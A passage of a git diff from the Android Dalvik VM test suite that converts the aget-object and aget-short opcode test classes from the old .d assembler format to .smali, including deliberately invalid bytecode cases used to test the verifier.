+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.d
deleted file mode 100644
index 8b904d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_7.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v6
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali
new file mode 100644
index 0000000..e23a71f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_7.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v6
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.d
deleted file mode 100644
index 89ee37d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_8.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;F)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali
new file mode 100644
index 0000000..d96a916
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_8.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;F)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.d
deleted file mode 100644
index e977101..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_9.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v9
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali
new file mode 100644
index 0000000..28a0448
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_9.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v9
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.d
deleted file mode 100644
index 3a1d451..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_1.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali
new file mode 100644
index 0000000..b4e9e9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_1.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.d
deleted file mode 100644
index 67bb914..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_2.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       const-wide v1, 1.0
-       aget-short v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali
new file mode 100644
index 0000000..28e1d57
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_2.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       const-wide v1, 1.0
+       aget-short v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.d
deleted file mode 100644
index e55e873..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_3.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       const-wide v1, 1
-       aget-short v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali
new file mode 100644
index 0000000..ea65a70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_3.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       const-wide v1, 1
+       aget-short v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.d
deleted file mode 100644
index 36e9428..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_4.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali
new file mode 100644
index 0000000..9410d8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_4.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.d
deleted file mode 100644
index 990a231..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_5.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali
new file mode 100644
index 0000000..9c58954
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_5.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.d
deleted file mode 100644
index 5490c9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_6.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali
new file mode 100644
index 0000000..389e221
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_6.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.d
deleted file mode 100644
index 06e1029..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_7.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       aget-short v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali
new file mode 100644
index 0000000..fcb8077
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_7.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.d
deleted file mode 100644
index 92f0d1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_8.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SF)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali
new file mode 100644
index 0000000..1dc33fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_8.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SF)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.d
deleted file mode 100644
index d337120..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_9.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       aget-short v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali
new file mode 100644
index 0000000..e0daf55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_9.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.d
deleted file mode 100644
index 08d842a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
